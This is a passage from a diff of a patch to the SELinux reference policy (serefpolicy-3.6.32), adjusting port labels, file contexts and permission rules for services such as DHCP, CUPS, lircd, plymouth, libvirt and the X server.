 +miscfiles_read_localization(sambagui_t)
 +
 +# read meminfo
@@ -5698,7 +5725,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corenetwork.te.in serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in
 --- nsaserefpolicy/policy/modules/kernel/corenetwork.te.in	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in	2009-10-26 15:32:50.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in	2009-10-29 09:23:17.000000000 -0400
 @@ -65,6 +65,7 @@
  type server_packet_t, packet_type, server_packet_type;
  
@@ -5716,8 +5743,9 @@ diff -b -B --ignore-all-space --exclude-
  network_port(dcc, udp,6276,s0, udp,6277,s0)
  network_port(dccm, tcp,5679,s0, udp,5679,s0)
 -network_port(dhcpc, udp,68,s0)
-+network_port(dhcpc, udp,68,s0, tcp,68,s0)
- network_port(dhcpd, udp,67,s0, tcp,647,s0, udp,647,s0, tcp,847,s0, udp,847,s0, tcp,7911,s0)
+-network_port(dhcpd, udp,67,s0, tcp,647,s0, udp,647,s0, tcp,847,s0, udp,847,s0, tcp,7911,s0)
++network_port(dhcpc, udp,68,s0, tcp,68,s0, udp,547,s0, tcp, 547,s0)
++network_port(dhcpd, udp,67,s0, udp,548,s0, tcp, 548,s0, tcp,647,s0, udp,647,s0, tcp,847,s0, udp,847,s0, tcp,7911,s0)
  network_port(dict, tcp,2628,s0)
  network_port(distccd, tcp,3632,s0)
  network_port(dns, udp,53,s0, tcp,53,s0)
@@ -5881,7 +5909,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/named/chroot/dev/zero -c	gen_context(system_u:object_r:zero_device_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/devices.if serefpolicy-3.6.32/policy/modules/kernel/devices.if
 --- nsaserefpolicy/policy/modules/kernel/devices.if	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/devices.if	2009-10-19 09:10:56.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/devices.if	2009-10-29 08:29:49.000000000 -0400
 @@ -1692,6 +1692,78 @@
  
  ########################################
@@ -7073,7 +7101,7 @@ diff -b -B --ignore-all-space --exclude-
 +/dev/shm		-d	gen_context(system_u:object_r:tmpfs_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/filesystem.if serefpolicy-3.6.32/policy/modules/kernel/filesystem.if
 --- nsaserefpolicy/policy/modules/kernel/filesystem.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.if	2009-10-27 11:11:17.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.if	2009-10-29 08:53:01.000000000 -0400
 @@ -1149,6 +1149,44 @@
  	domain_auto_transition_pattern($1, cifs_t, $2)
  ')
@@ -7619,7 +7647,7 @@ diff -b -B --ignore-all-space --exclude-
  /dev/tty		-c	gen_context(system_u:object_r:devtty_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/terminal.if serefpolicy-3.6.32/policy/modules/kernel/terminal.if
 --- nsaserefpolicy/policy/modules/kernel/terminal.if	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/terminal.if	2009-10-20 18:45:22.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/terminal.if	2009-10-29 08:39:50.000000000 -0400
 @@ -196,7 +196,7 @@
  
  	dev_list_all_dev_nodes($1)
@@ -8887,8 +8915,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.te serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-23 08:59:33.000000000 -0400
-@@ -0,0 +1,425 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-28 11:33:25.000000000 -0400
+@@ -0,0 +1,426 @@
 +policy_module(unconfineduser, 1.0.0)
 +
 +########################################
@@ -9111,6 +9139,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 +optional_policy(`
 +	java_role_template(unconfined, unconfined_r, unconfined_t)
++	role system_r types unconfined_java_t;
 +
 +	files_execmod_all_files(unconfined_java_t)
 +
@@ -12229,6 +12258,16 @@ diff -b -B --ignore-all-space --exclude-
 +
 +type cobbler_var_lib_t;
 +files_type(cobbler_var_lib_t)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/consolekit.fc serefpolicy-3.6.32/policy/modules/services/consolekit.fc
+--- nsaserefpolicy/policy/modules/services/consolekit.fc	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/consolekit.fc	2009-10-29 09:17:15.000000000 -0400
+@@ -2,4 +2,5 @@
+ 
+ /var/log/ConsoleKit(/.*)?		gen_context(system_u:object_r:consolekit_log_t,s0)
+ /var/run/consolekit\.pid	--	gen_context(system_u:object_r:consolekit_var_run_t,s0)
+-/var/run/ConsoleKit(/.*)?	--	gen_context(system_u:object_r:consolekit_var_run_t,s0)
++
++/var/run/ConsoleKit(/.*)?		gen_context(system_u:object_r:consolekit_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/consolekit.if serefpolicy-3.6.32/policy/modules/services/consolekit.if
 --- nsaserefpolicy/policy/modules/services/consolekit.if	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/consolekit.if	2009-09-30 16:12:48.000000000 -0400
@@ -13081,7 +13120,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/local/linuxprinter/ppd(/.*)?      gen_context(system_u:object_r:cupsd_rw_etc_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/cups.te serefpolicy-3.6.32/policy/modules/services/cups.te
 --- nsaserefpolicy/policy/modules/services/cups.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/cups.te	2009-10-20 18:48:38.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/cups.te	2009-10-29 08:36:18.000000000 -0400
 @@ -23,6 +23,9 @@
  type cupsd_initrc_exec_t;
  init_script_file(cupsd_initrc_exec_t)
@@ -13127,7 +13166,15 @@ diff -b -B --ignore-all-space --exclude-
  
  corenet_all_recvfrom_unlabeled(cupsd_t)
  corenet_all_recvfrom_netlabel(cupsd_t)
-@@ -250,6 +260,7 @@
+@@ -171,6 +181,7 @@
+ corenet_udp_bind_generic_node(cupsd_t)
+ corenet_tcp_bind_ipp_port(cupsd_t)
+ corenet_udp_bind_ipp_port(cupsd_t)
++corenet_udp_bind_howl_port(cupsd_t)
+ corenet_tcp_bind_reserved_port(cupsd_t)
+ corenet_dontaudit_tcp_bind_all_reserved_ports(cupsd_t)
+ corenet_tcp_bind_all_rpc_ports(cupsd_t)
+@@ -250,6 +261,7 @@
  miscfiles_read_localization(cupsd_t)
  # invoking ghostscript needs to read fonts
  miscfiles_read_fonts(cupsd_t)
@@ -13135,7 +13182,7 @@ diff -b -B --ignore-all-space --exclude-
  
  seutil_read_config(cupsd_t)
  sysnet_exec_ifconfig(cupsd_t)
-@@ -317,6 +328,10 @@
+@@ -317,6 +329,10 @@
  ')
  
  optional_policy(`
@@ -13146,7 +13193,7 @@ diff -b -B --ignore-all-space --exclude-
  	udev_read_db(cupsd_t)
  ')
  
-@@ -327,7 +342,7 @@
+@@ -327,7 +343,7 @@
  
  allow cupsd_config_t self:capability { chown dac_override sys_tty_config };
  dontaudit cupsd_config_t self:capability sys_tty_config;
@@ -13155,7 +13202,7 @@ diff -b -B --ignore-all-space --exclude-
  allow cupsd_config_t self:fifo_file rw_fifo_file_perms;
  allow cupsd_config_t self:unix_stream_socket create_socket_perms;
  allow cupsd_config_t self:unix_dgram_socket create_socket_perms;
-@@ -407,6 +422,7 @@
+@@ -407,6 +423,7 @@
  
  userdom_dontaudit_use_unpriv_user_fds(cupsd_config_t)
  userdom_dontaudit_search_user_home_dirs(cupsd_config_t)
@@ -13163,7 +13210,7 @@ diff -b -B --ignore-all-space --exclude-
  
  cups_stream_connect(cupsd_config_t)
  
-@@ -419,12 +435,15 @@
+@@ -419,12 +436,15 @@
  ')
  
  optional_policy(`
@@ -13181,7 +13228,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	optional_policy(`
  		hal_dbus_chat(cupsd_config_t)
-@@ -446,6 +465,10 @@
+@@ -446,6 +466,10 @@
  ')
  
  optional_policy(`
@@ -13192,7 +13239,7 @@ diff -b -B --ignore-all-space --exclude-
  	rpm_read_db(cupsd_config_t)
  ')
  
-@@ -542,6 +565,8 @@
+@@ -542,6 +566,8 @@
  manage_dirs_pattern(cups_pdf_t, cups_pdf_tmp_t, cups_pdf_tmp_t)
  files_tmp_filetrans(cups_pdf_t, cups_pdf_tmp_t, { file dir })
  
@@ -13201,7 +13248,7 @@ diff -b -B --ignore-all-space --exclude-
  kernel_read_system_state(cups_pdf_t)
  
  files_read_etc_files(cups_pdf_t)
-@@ -556,11 +581,15 @@
+@@ -556,11 +582,15 @@
  miscfiles_read_fonts(cups_pdf_t)
  
  userdom_home_filetrans_user_home_dir(cups_pdf_t)
@@ -13217,7 +13264,7 @@ diff -b -B --ignore-all-space --exclude-
  
  tunable_policy(`use_nfs_home_dirs',`
  	fs_manage_nfs_dirs(cups_pdf_t)
-@@ -601,6 +630,9 @@
+@@ -601,6 +631,9 @@
  read_lnk_files_pattern(hplip_t, hplip_etc_t, hplip_etc_t)
  files_search_etc(hplip_t)
  
@@ -13227,6 +13274,14 @@ diff -b -B --ignore-all-space --exclude-
  manage_fifo_files_pattern(hplip_t, hplip_tmp_t, hplip_tmp_t)
  files_tmp_filetrans(hplip_t, hplip_tmp_t, fifo_file )
  
+@@ -627,6 +660,7 @@
+ corenet_tcp_connect_ipp_port(hplip_t)
+ corenet_sendrecv_hplip_client_packets(hplip_t)
+ corenet_receive_hplip_server_packets(hplip_t)
++corenet_udp_bind_howl_port(hplip_t)
+ 
+ dev_read_sysfs(hplip_t)
+ dev_rw_printer(hplip_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/cvs.te serefpolicy-3.6.32/policy/modules/services/cvs.te
 --- nsaserefpolicy/policy/modules/services/cvs.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/cvs.te	2009-09-30 16:12:48.000000000 -0400
@@ -14916,12 +14971,13 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/lircd.fc serefpolicy-3.6.32/policy/modules/services/lircd.fc
 --- nsaserefpolicy/policy/modules/services/lircd.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/lircd.fc	2009-10-19 09:13:19.000000000 -0400
-@@ -6,3 +6,4 @@
++++ serefpolicy-3.6.32/policy/modules/services/lircd.fc	2009-10-29 09:05:50.000000000 -0400
+@@ -6,3 +6,5 @@
  /usr/sbin/lircd		--	gen_context(system_u:object_r:lircd_exec_t,s0)
  
  /var/run/lircd\.pid		gen_context(system_u:object_r:lircd_var_run_t,s0)
 +/var/run/lircd(/.*)?		gen_context(system_u:object_r:lircd_var_run_t,s0)
++/var/run/lirc(/.*)?		gen_context(system_u:object_r:lircd_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/lircd.if serefpolicy-3.6.32/policy/modules/services/lircd.if
 --- nsaserefpolicy/policy/modules/services/lircd.if	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/lircd.if	2009-10-23 09:32:21.000000000 -0400
@@ -14958,7 +15014,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/lircd.te serefpolicy-3.6.32/policy/modules/services/lircd.te
 --- nsaserefpolicy/policy/modules/services/lircd.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/lircd.te	2009-10-23 09:34:30.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/lircd.te	2009-10-29 08:39:44.000000000 -0400
 @@ -16,13 +16,9 @@
  type lircd_etc_t;
  files_type(lircd_etc_t)
@@ -14974,7 +15030,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  #
  # lircd local policy
-@@ -34,15 +30,24 @@
+@@ -34,15 +30,26 @@
  # etc file
  read_files_pattern(lircd_t, lircd_etc_t, lircd_etc_t)
  
@@ -14992,6 +15048,8 @@ diff -b -B --ignore-all-space --exclude-
 +dev_filetrans_lirc(lircd_t)
 +dev_rw_lirc(lircd_t)
 +dev_rw_input_dev(lircd_t)
++
++term_use_ptmx(lircd_t)
  
  logging_send_syslog_msg(lircd_t)
  
@@ -17038,8 +17096,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/plymouth.te serefpolicy-3.6.32/policy/modules/services/plymouth.te
 --- nsaserefpolicy/policy/modules/services/plymouth.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/plymouth.te	2009-10-18 12:52:36.000000000 -0400
-@@ -0,0 +1,96 @@
++++ serefpolicy-3.6.32/policy/modules/services/plymouth.te	2009-10-29 08:30:08.000000000 -0400
+@@ -0,0 +1,97 @@
 +policy_module(plymouthd, 1.0.0)
 +
 +########################################
@@ -17091,6 +17149,7 @@ diff -b -B --ignore-all-space --exclude-
 +dev_read_sysfs(plymouthd_t)
 +dev_read_framebuffer(plymouthd_t)
 +dev_write_framebuffer(plymouthd_t)
++dev_delete_null(plymouthd_t)
 +
 +domain_use_interactive_fds(plymouthd_t)
 +
@@ -18249,11 +18308,13 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/prelude.te serefpolicy-3.6.32/policy/modules/services/prelude.te
 --- nsaserefpolicy/policy/modules/services/prelude.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/prelude.te	2009-09-30 16:12:48.000000000 -0400
-@@ -123,6 +123,7 @@
++++ serefpolicy-3.6.32/policy/modules/services/prelude.te	2009-10-29 08:57:18.000000000 -0400
+@@ -122,7 +122,8 @@
+ #
  # prelude_audisp local policy
  #
- allow prelude_audisp_t self:capability dac_override;
+-allow prelude_audisp_t self:capability dac_override;
++allow prelude_audisp_t self:capability { dac_override ipc_lock setpcap };
 +allow prelude_audisp_t self:process { getcap setcap };
  allow prelude_audisp_t self:fifo_file rw_file_perms;
  allow prelude_audisp_t self:unix_stream_socket create_stream_socket_perms;
@@ -22561,7 +22622,7 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/libvirt/qemu(/.*)? 	gen_context(system_u:object_r:svirt_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.if serefpolicy-3.6.32/policy/modules/services/virt.if
 --- nsaserefpolicy/policy/modules/services/virt.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.if	2009-10-26 13:38:47.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/virt.if	2009-10-28 12:01:39.000000000 -0400
 @@ -136,7 +136,7 @@
  	')
  
@@ -22683,7 +22744,7 @@ diff -b -B --ignore-all-space --exclude-
  		fs_read_cifs_symlinks($1)
  	')
  ')
-@@ -346,3 +419,94 @@
+@@ -346,3 +419,95 @@
  
  	virt_manage_log($1)
  ')
@@ -22743,6 +22804,7 @@ diff -b -B --ignore-all-space --exclude-
 +	stream_connect_pattern(virtd_t, $1_var_run_t, $1_var_run_t, virt_domain)
 +	manage_dirs_pattern(virtd_t, $1_var_run_t, $1_var_run_t)
 +	manage_files_pattern(virtd_t, $1_var_run_t, $1_var_run_t)
++	manage_sock_files_pattern(virtd_t, $1_var_run_t, $1_var_run_t)
 +
 +	manage_dirs_pattern($1_t, $1_var_run_t, $1_var_run_t)
 +	manage_files_pattern($1_t, $1_var_run_t, $1_var_run_t)
@@ -22780,7 +22842,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.te serefpolicy-3.6.32/policy/modules/services/virt.te
 --- nsaserefpolicy/policy/modules/services/virt.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-26 16:18:49.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-28 12:03:46.000000000 -0400
 @@ -20,6 +20,28 @@
  ## </desc>
  gen_tunable(virt_use_samba, false)
@@ -22861,7 +22923,7 @@ diff -b -B --ignore-all-space --exclude-
 -allow virtd_t self:tun_socket create;
 +allow virtd_t self:tun_socket create_socket_perms;
 +
-+allow virtd_t virt_domain:process { setsched transition signal signull sigkill };
++allow virtd_t virt_domain:process { getattr getsched setsched transition signal signull sigkill };
  
  read_files_pattern(virtd_t, virt_etc_t, virt_etc_t)
  read_lnk_files_pattern(virtd_t, virt_etc_t, virt_etc_t)
@@ -24111,7 +24173,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.te serefpolicy-3.6.32/policy/modules/services/xserver.te
 --- nsaserefpolicy/policy/modules/services/xserver.te	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.te	2009-10-22 11:37:53.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/xserver.te	2009-10-29 08:27:01.000000000 -0400
 @@ -34,6 +34,13 @@
  
  ## <desc>
@@ -24275,7 +24337,15 @@ diff -b -B --ignore-all-space --exclude-
  domain_use_interactive_fds(xauth_t)
  
  files_read_etc_files(xauth_t)
-@@ -300,20 +321,31 @@
+@@ -278,6 +299,7 @@
+ 
+ userdom_use_user_terminals(xauth_t)
+ userdom_read_user_tmp_files(xauth_t)
++userdom_dontaudit_rw_stream(xauth_t)
+ 
+ xserver_rw_xdm_tmp_files(xauth_t)
+ 
+@@ -300,20 +322,31 @@
  # XDM Local policy
  #
  
@@ -24310,7 +24380,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # Allow gdm to run gdm-binary
  can_exec(xdm_t, xdm_exec_t)
-@@ -325,26 +357,43 @@
+@@ -325,26 +358,43 @@
  # this is ugly, daemons should not create files under /etc!
  manage_files_pattern(xdm_t, xdm_rw_etc_t, xdm_rw_etc_t)
  
@@ -24361,7 +24431,7 @@ diff -b -B --ignore-all-space --exclude-
  
  allow xdm_t xserver_t:process signal;
  allow xdm_t xserver_t:unix_stream_socket connectto;
-@@ -358,6 +407,7 @@
+@@ -358,6 +408,7 @@
  allow xdm_t xserver_t:process { noatsecure siginh rlimitinh signal sigkill };
  
  allow xdm_t xserver_t:shm rw_shm_perms;
@@ -24369,7 +24439,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # connect to xdm xserver over stream socket
  stream_connect_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t, xserver_t)
-@@ -366,10 +416,14 @@
+@@ -366,10 +417,14 @@
  delete_files_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
  delete_sock_files_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
  
@@ -24385,7 +24455,7 @@ diff -b -B --ignore-all-space --exclude-
  
  kernel_read_system_state(xdm_t)
  kernel_read_kernel_sysctls(xdm_t)
-@@ -389,11 +443,13 @@
+@@ -389,11 +444,13 @@
  corenet_udp_sendrecv_all_ports(xdm_t)
  corenet_tcp_bind_generic_node(xdm_t)
  corenet_udp_bind_generic_node(xdm_t)
@@ -24399,7 +24469,7 @@ diff -b -B --ignore-all-space --exclude-
  dev_read_rand(xdm_t)
  dev_read_sysfs(xdm_t)
  dev_getattr_framebuffer_dev(xdm_t)
-@@ -401,6 +457,7 @@
+@@ -401,6 +458,7 @@
  dev_getattr_mouse_dev(xdm_t)
  dev_setattr_mouse_dev(xdm_t)
  dev_rw_apm_bios(xdm_t)
@@ -24407,7 +24477,7 @@ diff -b -B --ignore-all-space --exclude-
  dev_setattr_apm_bios_dev(xdm_t)
  dev_rw_dri(xdm_t)
  dev_rw_agp(xdm_t)
-@@ -413,14 +470,17 @@
+@@ -413,14 +471,17 @@
  dev_setattr_video_dev(xdm_t)
  dev_getattr_scanner_dev(xdm_t)
  dev_setattr_scanner_dev(xdm_t)
@@ -24427,7 +24497,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_read_etc_files(xdm_t)
  files_read_var_files(xdm_t)
-@@ -431,9 +491,13 @@
+@@ -431,9 +492,13 @@
  files_read_usr_files(xdm_t)
  # Poweroff wants to create the /poweroff file when run from xdm
  files_create_boot_flag(xdm_t)
@@ -24441,7 +24511,7 @@ diff -b -B --ignore-all-space --exclude-
  
  storage_dontaudit_read_fixed_disk(xdm_t)
  storage_dontaudit_write_fixed_disk(xdm_t)
-@@ -442,6 +506,7 @@
+@@ -442,6 +507,7 @@
  storage_dontaudit_raw_write_removable_device(xdm_t)
  storage_dontaudit_setattr_removable_dev(xdm_t)
  storage_dontaudit_rw_scsi_generic(xdm_t)
@@ -24449,7 +24519,7 @@ diff -b -B --ignore-all-space --exclude-
  
  term_setattr_console(xdm_t)
  term_use_unallocated_ttys(xdm_t)
-@@ -450,6 +515,7 @@
+@@ -450,6 +516,7 @@
  auth_domtrans_pam_console(xdm_t)
  auth_manage_pam_pid(xdm_t)
  auth_manage_pam_console_data(xdm_t)
@@ -24457,7 +24527,7 @@ diff -b -B --ignore-all-space --exclude-
  auth_rw_faillog(xdm_t)
  auth_write_login_records(xdm_t)
  
-@@ -460,10 +526,11 @@
+@@ -460,10 +527,11 @@
  
  logging_read_generic_logs(xdm_t)
  
@@ -24471,7 +24541,7 @@ diff -b -B --ignore-all-space --exclude-
  
  userdom_dontaudit_use_unpriv_user_fds(xdm_t)
  userdom_create_all_users_keys(xdm_t)
-@@ -472,6 +539,9 @@
+@@ -472,6 +540,9 @@
  # Search /proc for any user domain processes.
  userdom_read_all_users_state(xdm_t)
  userdom_signal_all_users(xdm_t)
@@ -24481,7 +24551,7 @@ diff -b -B --ignore-all-space --exclude-
  
  xserver_rw_session(xdm_t, xdm_tmpfs_t)
  xserver_unconfined(xdm_t)
-@@ -504,10 +574,12 @@
+@@ -504,10 +575,12 @@
  
  optional_policy(`
  	alsa_domtrans(xdm_t)
@@ -24494,7 +24564,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -515,12 +587,46 @@
+@@ -515,12 +588,46 @@
  ')
  
  optional_policy(`
@@ -24541,7 +24611,7 @@ diff -b -B --ignore-all-space --exclude-
  	hostname_exec(xdm_t)
  ')
  
-@@ -542,6 +648,38 @@
+@@ -542,6 +649,38 @@
  ')
  
  optional_policy(`
@@ -24580,7 +24650,7 @@ diff -b -B --ignore-all-space --exclude-
  	seutil_sigchld_newrole(xdm_t)
  ')
  
-@@ -550,8 +688,9 @@
+@@ -550,8 +689,9 @@
  ')
  
  optional_policy(`
@@ -24592,7 +24662,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	ifndef(`distro_redhat',`
  		allow xdm_t self:process { execheap execmem };
-@@ -560,7 +699,6 @@
+@@ -560,7 +700,6 @@
  	ifdef(`distro_rhel4',`
  		allow xdm_t self:process { execheap execmem };
  	')
@@ -24600,7 +24670,7 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	userhelper_dontaudit_search_config(xdm_t)
-@@ -571,6 +709,10 @@
+@@ -571,6 +710,10 @@
  ')
  
  optional_policy(`
@@ -24611,7 +24681,7 @@ diff -b -B --ignore-all-space --exclude-
  	xfs_stream_connect(xdm_t)
  ')
  
-@@ -587,10 +729,9 @@
+@@ -587,10 +730,9 @@
  # execheap needed until the X module loader is fixed.
  # NVIDIA Needs execstack
  
@@ -24623,7 +24693,7 @@ diff -b -B --ignore-all-space --exclude-
  allow xserver_t self:fd use;
  allow xserver_t self:fifo_file rw_fifo_file_perms;
  allow xserver_t self:sock_file read_sock_file_perms;
-@@ -602,9 +743,12 @@
+@@ -602,9 +744,12 @@
  allow xserver_t self:unix_stream_socket { create_stream_socket_perms connectto };
  allow xserver_t self:tcp_socket create_stream_socket_perms;
  allow xserver_t self:udp_socket create_socket_perms;
@@ -24636,7 +24706,7 @@ diff -b -B --ignore-all-space --exclude-
  
  allow xserver_t { input_xevent_t input_xevent_type }:x_event send;
  
-@@ -616,13 +760,14 @@
+@@ -616,13 +761,14 @@
  type_transition xserver_t xserver_t:{ x_drawable x_colormap } rootwindow_t;
  
  allow xserver_t { rootwindow_t x_domain }:x_drawable send;
@@ -24652,7 +24722,7 @@ diff -b -B --ignore-all-space --exclude-
  
  manage_dirs_pattern(xserver_t, xserver_tmpfs_t, xserver_tmpfs_t)
  manage_files_pattern(xserver_t, xserver_tmpfs_t, xserver_tmpfs_t)
-@@ -635,9 +780,19 @@
+@@ -635,9 +781,19 @@
  manage_lnk_files_pattern(xserver_t, xkb_var_lib_t, xkb_var_lib_t)
  files_search_var_lib(xserver_t)
  
@@ -24672,7 +24742,7 @@ diff -b -B --ignore-all-space --exclude-
  
  kernel_read_system_state(xserver_t)
  kernel_read_device_sysctls(xserver_t)
-@@ -671,7 +826,6 @@
+@@ -671,7 +827,6 @@
  dev_rw_agp(xserver_t)
  dev_rw_framebuffer(xserver_t)
  dev_manage_dri_dev(xserver_t)
@@ -24680,7 +24750,7 @@ diff -b -B --ignore-all-space --exclude-
  dev_create_generic_dirs(xserver_t)
  dev_setattr_generic_dirs(xserver_t)
  # raw memory access is needed if not using the frame buffer
-@@ -681,9 +835,12 @@
+@@ -681,9 +836,12 @@
  dev_rw_xserver_misc(xserver_t)
  # read events - the synaptics touchpad driver reads raw events
  dev_rw_input_dev(xserver_t)
@@ -24694,7 +24764,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_read_etc_files(xserver_t)
  files_read_etc_runtime_files(xserver_t)
-@@ -698,8 +855,12 @@
+@@ -698,8 +856,12 @@
  fs_search_nfs(xserver_t)
  fs_search_auto_mountpoints(xserver_t)
  fs_search_ramfs(xserver_t)
@@ -24707,7 +24777,7 @@ diff -b -B --ignore-all-space --exclude-
  
  selinux_validate_context(xserver_t)
  selinux_compute_access_vector(xserver_t)
-@@ -721,6 +882,7 @@
+@@ -721,6 +883,7 @@
  
  miscfiles_read_localization(xserver_t)
  miscfiles_read_fonts(xserver_t)
@@ -24715,7 +24785,7 @@ diff -b -B --ignore-all-space --exclude-
  
  modutils_domtrans_insmod(xserver_t)
  
-@@ -743,7 +905,7 @@
+@@ -743,7 +906,7 @@
  ')
  
  ifdef(`enable_mls',`
@@ -24724,7 +24794,7 @@ diff -b -B --ignore-all-space --exclude-
  	range_transition xserver_t xserver_t:x_drawable s0 - mls_systemhigh;
  ')
  
-@@ -775,12 +937,20 @@
+@@ -775,12 +938,20 @@
  ')
  
  optional_policy(`
@@ -24746,7 +24816,7 @@ diff -b -B --ignore-all-space --exclude-
  	unconfined_domtrans(xserver_t)
  ')
  
-@@ -807,12 +977,12 @@
+@@ -807,12 +978,12 @@
  allow xserver_t xdm_var_lib_t:file { getattr read };
  dontaudit xserver_t xdm_var_lib_t:dir search;
  
@@ -24763,7 +24833,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # Run xkbcomp.
  allow xserver_t xkb_var_lib_t:lnk_file read;
-@@ -828,9 +998,14 @@
+@@ -828,9 +999,14 @@
  # to read ROLE_home_t - examine this in more detail
  # (xauth?)
  userdom_read_user_home_content_files(xserver_t)
@@ -24778,7 +24848,7 @@ diff -b -B --ignore-all-space --exclude-
  tunable_policy(`use_nfs_home_dirs',`
  	fs_manage_nfs_dirs(xserver_t)
  	fs_manage_nfs_files(xserver_t)
-@@ -845,11 +1020,14 @@
+@@ -845,11 +1021,14 @@
  
  optional_policy(`
  	dbus_system_bus_client(xserver_t)
@@ -24794,7 +24864,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -882,6 +1060,8 @@
+@@ -882,6 +1061,8 @@
  # X Server
  # can read server-owned resources
  allow x_domain xserver_t:x_resource read;
@@ -24803,7 +24873,7 @@ diff -b -B --ignore-all-space --exclude-
  # can mess with own clients
  allow x_domain self:x_client { manage destroy };
  
-@@ -906,6 +1086,8 @@
+@@ -906,6 +1087,8 @@
  # operations allowed on my windows
  allow x_domain self:x_drawable { create destroy getattr setattr read write show hide list_child add_child remove_child manage send receive };
  
@@ -24812,7 +24882,7 @@ diff -b -B --ignore-all-space --exclude-
  # X Colormaps
  # can use the default colormap
  allow x_domain rootwindow_t:x_colormap { read use add_color };
-@@ -973,17 +1155,49 @@
+@@ -973,17 +1156,49 @@
